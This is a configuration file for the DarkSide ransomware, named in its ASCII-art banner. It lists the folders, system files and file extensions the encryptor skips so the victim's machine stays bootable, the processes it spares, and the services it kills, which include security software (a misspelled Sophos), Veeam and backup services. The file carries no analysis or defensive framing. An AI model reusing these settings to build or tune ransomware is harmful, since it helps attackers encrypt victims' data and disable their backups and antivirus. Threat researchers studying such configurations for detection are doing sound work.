/*
________      _____ __________ ____  __.  _________.___________  ___________ __________    _____    _______    _________________      _____  __      __  _____ _____________________
\______ \    /  _  \\______   \    |/ _| /   _____/|   \______ \ \_   _____/ \______   \  /  _  \   \      \  /   _____/\_____  \    /     \/  \    /  \/  _  \\______   \_   _____/
 |    |  \  /  /_\  \|       _/      <   \_____  \ |   ||    |  \ |    __)_   |       _/ /  /_\  \  /   |   \ \_____  \  /   |   \  /  \ /  \   \/\/   /  /_\  \|       _/|    __)_ 
 |    `   \/    |    \    |   \    |  \  /        \|   ||    `   \|        \  |    |   \/    |    \/    |    \/        \/    |    \/    Y    \        /    |    \    |   \|        \
/_______  /\____|__  /____|_  /____|__ \/_______  /|___/_______  /_______  /  |____|_  /\____|__  /\____|__  /_______  /\_______  /\____|__  /\__/\  /\____|__  /____|_  /_______  /
        \/         \/       \/        \/        \/             \/        \/          \/         \/         \/        \/         \/         \/      \/         \/       \/        \/ 
*/


directory encryption avoid:
{
$recycle.bin.config.msi.$windows.~bt.$windows.~ws.windows.appdata.application data.boot.google.mozilla.program files.program files (x86).programdata.systemvolume information.tor browser.windows.old.intel.msocache.perflogs.x64dbg.public.all users.default
}
file encryption avoid:
{
autorun.inf.boot.ini.bootfont.bin.bootsect.bak.desktop.ini.iconcache.db.ntldr.ntuser.dat.ntuser.dat.log.ntuser.ini.thumbs.db
}
extension file encryption avoid:
{
386.adv.ani.bat.bin.cab.cmd.com.cpl.cur.deskthemepack.diagcab.diagcfg.diagpkg.dll.drv.exe.hlp.icl.icns.ico.ics.idx.ldf.lnk.mod.mpa.msc.msp.msstyles.msu.nls.nomedia.ocx.prf.ps1.rom.rtp.scr.shs.spl.sys.theme.themepack.wpx.lock.key.hta.msi.pdb
}
process kill avoid:
{
vmcompute.exe.vmms.exe.vmwp.exe.svchost.exe.TeamViewer.exe.explorer.exe
}
service kill:
{
3ophos,veeam,backup
}